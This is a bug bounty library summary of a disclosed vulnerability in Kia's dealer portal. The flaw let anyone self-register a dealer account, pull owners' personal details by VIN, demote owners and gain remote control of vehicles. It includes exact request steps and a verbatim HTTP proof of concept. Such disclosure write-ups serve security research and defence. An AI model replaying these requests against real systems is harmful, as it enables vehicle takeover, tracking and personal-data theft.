# Hacking Kia: Remotely Controlling Cars With Just a License Plate

Kia dealer portal accepted owner-site registration requests, letting anyone mint dealer tokens to look up VINs, demote owners, and add themselves to vehicles.

- Payout: Research
- Severity: critical
- Program: Kia
- Write-up by: Sam Curry
- Disclosed: 2024-09-20
- Write-up quality: 8/10
- Original: https://samcurry.net/hacking-kia
- Library page: https://bugbountylibrary.com/r/blog%3Asamcurry-net-hacking-kia
- Tags: area:web domain:api domain:web impact:ato impact:internal-access impact:pii-leak kind:research platform:research sev:critical technique:chained vuln:access-control vuln:account-takeover vuln:auth-bypass vuln:idor

**Target:** Kia Connect dealer web portal (kiaconnect.kdealer.com) APIGW endpoints
**Root cause:** The dealer APIGW endpoint /prof/registerUser accepted the same registration request format as the owners website, so any user could self-register a dealer account and obtain a valid dealer session token (Appid) without dealer authorization.
**Steps:**
1. Obtain a victim VIN (PoC converts license plate to VIN via third-party API).
2. Register a dealer account: `POST /apps/services/kdealer/apigwServlet.html` with `Apiurl: /prof/registerUser` and body `{"userCredential":{"firstName":"Sam","lastName":"Curry","userId":"normal.user@gmail.com","password":"FakePass123!","acceptedTerms":1}}`.
3. Authenticate: `Apiurl: /prof/authUser` with `{"userCredential":{"userId":"normal.user@gmail.com","password":"FakePass123!"}}`; response returns `Sid` session token.
4. Look up victim PII: `Apiurl: /dec/dlr/dvl` with `Appid: <Sid>` and body `{"vin":"VIN"}`; response leaks name, email, phone.
5. Demote owner: `Apiurl: /dec/dlr/rvp` with `{"vin":"VIN","loginId":"victim_email","dealerCode":"eDelivery"}`.
6. Add attacker as primary owner: `Apiurl: /ownr/dicve` with `{"vin":"VIN","loginId":"attacker@gmail.com"}`.
7. Issue vehicle commands (unlock, start, honk, locate) via the owners API using the now-attacker-owned vehicle.
**How found:** Team was already familiar with owners.kia.com and its apigwServlet reverse-proxy pattern. After obtaining a real dealer registration link from a new-car buyer, they noticed kiaconnect.kdealer.com used the same /apps/services/kdealer/apigwServlet.html URI and API format. A dealer token from the email failed with 401, so they hypothesized the same registration request used on the owners site might work on the dealer site, and it returned 200.
**Exploitation:** Attacker needs only a license plate. They convert it to a VIN, self-register a dealer account, mint a dealer session token, pull the victim's PII, demote the real owner, and enroll their own email as primary owner. The victim receives no notification; the attacker then sends remote lock/unlock, start/stop, horn/light, and location commands through the owners API, working regardless of Kia Connect subscription.
**Escalation:** Chained dealer self-registration into full dealer API access, then used enrollment/unenrollment endpoints to silently transfer vehicle ownership and gain persistent command control plus passive tracking.
**Insight:** When a target exposes multiple portals (consumer vs. employee/dealer) sharing an APIGW proxy pattern, replay the consumer registration/auth request against the privileged portal's equivalent endpoint; identical servlet paths and JSON shapes often mean shared backend auth with missing role checks.

## Proof of concept (copied exactly from the original report)

**Dealer registration and login to get token**

```
POST /apps/services/kdealer/apigwServlet.html HTTP/1.1
Host: kiaconnect.kdealer.com
Httpmethod: POST
Apiurl: /prof/registerUser

{
 "userCredential": {
 "firstName": "Sam",
 "lastName": "Curry",
 "userId": "normal.user@gmail.com",
 "password": "FakePass123!",
 "acceptedTerms": 1
 }
}


It returned 200 OK! It seemed that we could register on the Kia Dealer website using the same HTTP request to register on the Kia Owners website. We quickly tried to login and generate an access token:

POST /apps/services/kdealer/apigwServlet.html HTTP/1.1
Host: kiaconnect.kdealer.com
Httpmethod: POST
Apiurl: /prof/authUser

{
 "userCredential": {
 "userId": "normal.user@gmail.com",
 "password": "FakePass123!"
 }
}


The login was valid, the server returned an HTTP response with a session cookie.

HTTP/1.1 200 OK
Sid: 123e4567-e89b-12d3-a456-426614174000
```

**Dealer VIN lookup leaking owner PII**

```
POST /apps/services/kdealer/apigwServlet.html HTTP/1.1
Host: kiaconnect.kdealer.com
Appid: 123e4567-e89b-12d3-a456-426614174000
Apiurl: /dec/dlr/dvl

{
 "vin": "1HGBH41JXMN109186"
}


## HTTP Response

HTTP/1.1 200 OK
Content-type: application/json

{
 "payload": {
 "billingSubscriptionSupported": 1,
 "digitalKeySupported": 0,
 "generation": "3",
 "profiles": [
 {
 "address": {},
 "billSubscriptionStatus": 1,
 "digitalKeyStatus": 0,
 "email": "victim@gmail.com",
 "enrollmentReqStatus": 1,
 "enrollmentStatus": 1,
 "firstName": "yeet",
 "lastName": "yeet",
 "loginId": "victim@gmail.com",
 "phone": "4027181388",
 "phoneType": 3,
 "wifiHotspotStatus": 0
 }
 ],
 "vinAddedToAccount": 1,
 "wifiHotspotSupported": 1
 }
}
```

